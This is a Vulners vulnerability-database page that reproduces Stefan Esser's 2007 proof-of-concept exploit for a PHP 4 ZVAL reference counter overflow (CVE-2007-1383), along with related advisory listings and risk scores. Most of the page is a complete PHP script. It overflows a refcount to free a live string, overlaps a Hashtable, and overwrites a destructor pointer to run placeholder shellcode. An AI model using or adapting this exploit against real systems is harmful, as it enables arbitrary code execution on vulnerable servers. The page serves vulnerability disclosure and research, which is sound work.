Lucene search
+L

PHP 4 - Userland ZVAL Reference Counter Overflow (PoC)

🗓️ 01 Mar 2007 00:00:00Reported by Stefan EsserType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 39 Views

PHP 4 ZVAL Reference Counter Overflow PoC for Remote File Inclusion Protectio

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2007-1383
10 Mar 200700:00
cve
cvelist
Cvelist
CVE-2007-1383
10 Mar 200700:00
cvelist
euvd
EUVD
EUVD-2007-1379
7 Oct 202500:30
euvd
nessus
Tenable Nessus
GLSA-200703-21 : PHP: Multiple vulnerabilities
26 Mar 200700:00
nessus
nessus
Tenable Nessus
PHP < 5.2.1 Multiple Vulnerabilities
2 Apr 200700:00
nessus
gentoo
Gentoo Linux
PHP: Multiple vulnerabilities
20 Mar 200700:00
gentoo
nvd
NVD
CVE-2007-1383
10 Mar 200700:19
nvd
openvas
OpenVAS
PHP < 5.2.1 Multiple Vulnerabilities
17 Aug 202000:00
openvas
openvas
OpenVAS
PHP < 5.2.1 Multiple Vulnerabilities
21 Jun 201200:00
openvas
openvas
OpenVAS
Gentoo Security Advisory GLSA 200703-21 (php)
24 Sep 200800:00
openvas
Rows per page
<?php
  ////////////////////////////////////////////////////////////////////////
  //  _  _                _                     _       ___  _  _  ___  //
  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \ //
  // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___||  _/| __ ||  _/ //
  // |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|   //
  //                                                                    //
  //         Proof of concept code from the Hardened-PHP Project        //
  //                   (C) Copyright 2007 Stefan Esser                  //
  //                                                                    //
  ////////////////////////////////////////////////////////////////////////
  //               PHP 4 - ZVAL Reference Counter Overflow              //
  ////////////////////////////////////////////////////////////////////////

  // This is meant as a protection against remote file inclusion.
  die("REMOVE THIS LINE");

  // You can put in any shellcode you want. Just make sure that the
  // shellcode string is long enough to not end up in PHP's internal
  // memory cache

  $shellcode = str_repeat(chr(0xcc), 500);

  // The basic idea of this exploit is:
  //  1) Create a string that has the same size as a Hashtable
  //  2) Create 65536 references to it to overflow the refcount
  //  3) Free one of these references
  //      => Refcount drops down to 0
  //      => String gets freed
  //  4) Free some more zvals
  //  5) Create a new array with one element
  //      => Put shellcode in the key
  //      => Hashtable struct will be in the same place as the string
  //  6) Use string to directly access the content of the Hashtable
  //      => Read pointer to first bucket
  //      => Add 32 bytes, offset to array key
  //      => Write pointer to the destructor field
  //  7) Unset array => Executes code in $shellcode

  ////////////////////////////////////////////////////////////////////////
  // If you touch anything below this line you have to debug it yourself
  ////////////////////////////////////////////////////////////////////////

  $________________________str = str_repeat("A", 39);
  $________________________yyy = &$________________________str;
  $________________________xxx = &$________________________str;
  for ($i = 0; $i < 65534; $i++) $arr[] = &$________________________str;
  $________________________aaa = "   XXXXX   ";
  $________________________aab = " XXXx.xXXX ";
  $________________________aac = " XXXx.xXXX ";
  $________________________aad = "   XXXXX   ";
  unset($________________________xxx);
  unset($________________________aaa);
  unset($________________________aab);
  unset($________________________aac);
  unset($________________________aad);
  $arr = array($shellcode => 1);

  $addr = unpack("L", substr($________________________str, 6*4, 4));
  $addr = $addr[1] + 32;
  $addr = pack("L", $addr);

  for ($i=0; $i<strlen($addr); $i++) {
    $________________________str[8*4+$i] = $addr[$i];
    $________________________yyy[8*4+$i] = $addr[$i];
  }
  unset($arr);

?>

# milw0rm.com [2007-03-01]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Sep 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 210
CVSS 3.19.8
EPSS0.15195
SSVC
39